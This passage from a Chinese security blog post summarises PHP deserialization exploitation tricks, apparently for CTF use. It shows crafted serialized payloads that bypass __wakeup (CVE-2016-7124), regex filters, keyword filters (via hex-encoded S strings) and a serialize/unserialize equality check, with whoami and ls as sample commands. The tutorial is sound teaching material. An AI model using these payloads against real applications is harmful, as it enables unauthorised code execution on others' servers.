构造出的反序列化数据实际上是这样的:

1
{s:4:"name";s:114:"funnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunnyfunny";s:4:"desp";s:22:"";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

Trick总结

绕过__wakeup(CVE-2016-7124)

  • 版本限制(版本限制比较苛刻)

    • PHP5 < 5.6.25
    • PHP7 < 7.0.10
  • 利用方法

    • 表示属性个数的值大于真实属性个数会绕过__wakeup函数的执行。
  • 举例

    正常获取到的序列化数据如下:

    1
    O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}

    绕过__wakeup时则需要修改为:

    1
    O:3:"Exp":2:{s:3:"cmd";s:6:"whoami";}

序列化数据正则绕过

例如题目有如下的正则检测:preg_match('/^O:\d+/')

可以在regex101进行正则测试:

image-20230313144447754

这里对序列化数据进行了限制,要求不能直接反序列化对象,这里的绕过方法主要有两种。

  • 数字前加+

    1
    2
    O:+3:"Exp":2:{s:3:"cmd";s:6:"whoami";}
    // 这里注意如果是GET方式请求的数据,需要将+ URL编码为 %2B
  • 序列化时以数组形式序列化:

    1
    2
    3
    4
    5
    6
    <?php
    class Exp{
    public $cmd = "whoami";
    }
    echo serialize(array(new Exp));
    // a:1:{i:0;O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}}

大写S十六进制编码

如果对某个必要参数名进行了正则过滤,例如对上文中O:3:"Exp":1:{s:3:"cmd";s:6:"whoami";}cmd进行了过滤,我们可以通过大写S,然后十六进制编码cmd中的任意一个字符即可:

1
2
O:3:"Exp":1:{S:3:"\63md";s:6:"whoami";}
// 注意这里十六进制编码前需要加上反斜杠,同时修改该值前的s变为大写S

PHP 7.1+类属性不敏感

PHP 7.1以上版本对于类成员属性不敏感,例如

1
2
3
4
<?php
class Exp{
private $cmd; // private属性序列化时会产生空字节
}

对于这个类,在PHP 7.1+的版本下,我们构造Exp时也可以用以下的方式构造:

1
2
3
4
5
<?php
class Exp{
public $cmd = "ls"; // 这里修改为public属性也是可以正常反序列化的
}
echo serialize(new Exp);

拷贝

这里主要作用是可以将某个成员的值与另外一个成员的值保持一致

__PHP_Incomplete_Class

当我们反序列化一个不存在的类时,我们得到的对象就会转换为__PHP_Incomplete_Class这种形式,同时会将原始的类名储存在__PHP_Incomplete_Class_Name属性中。

例如:

1
2
<?php
var_dump(unserialize('O:4:"Hack":1:{s:3:"cmd";s:6:"whoami";}'));

我们可以得到:

1
2
3
4
5
6
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "Hack"
["cmd"]=>
string(6) "whoami"
}

由于这个不存在的类名储存在__PHP_Incomplete_Class_Name属性中,因此我们在对其进行序列化时,PHP会自动恢复这个类的相关信息并进行绑定,并不会出现__PHP_Incomplete_Class这样的类名:

1
2
<?php
var_dump(serialize(unserialize('O:4:"Hack":1:{s:3:"cmd";s:6:"whoami";}')));

得到:

1
string(38) "O:4:"Hack":1:{s:3:"cmd";s:6:"whoami";}"

因此我们可以推断出,PHP是通过对类名进行检测,如果类名为__PHP_Incomplete_Class就会去根据__PHP_Incomplete_Class_Name寻找需要绑定的类。

那么如果我们遇到了如下的代码:

1
serialize(unserialize($x)) != $x

这个时候就可以利用这个特性来进行绕过:

1
O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}

在这里我们将类名定义为__PHP_Incomplete_Class,但是并没有注册__PHP_Incomplete_Class_Name属性,无法找到与其对应绑定的类,因此序列化字节流中的其他属性就会被丢弃,最终得到如下的序列化字节流:

1
O:22:"__PHP_Incomplete_Class":0:{}

此时得到的字节流与原本的字节流并不相同,便可以通过这段代码的判断。

闭包函数的序列化

PHP5.3后引入了闭包函数的概念,我们可以声明一个匿名函数并将其进行赋值。
但是我们无法直接对闭包函数进行序列化,需要借助opis/closure第三方组件来实现闭包函数的序列化。

__sleep触发的情景

PHP在SESSION执行反序列化时会调用对应类的__sleep方法,可以去撕一下PHP的源码看看原因,还是非常容易看出来的。

参考链接

https://zhuanlan.zhihu.com/p/405838002

https://xz.aliyun.com/t/7366

https://xz.aliyun.com/t/9545

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/

https://goodapple.top/archives/1945

https://blog.csdn.net/m0_51078229/article/details/122868851

  • 本文标题:PHP反序列化漏洞总结
  • 本文作者:烨
  • 创建时间:2023-03-11 20:00:00
  • 本文链接:https://yesec.github.io/2023/03/11/PHP反序列化漏洞总结/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!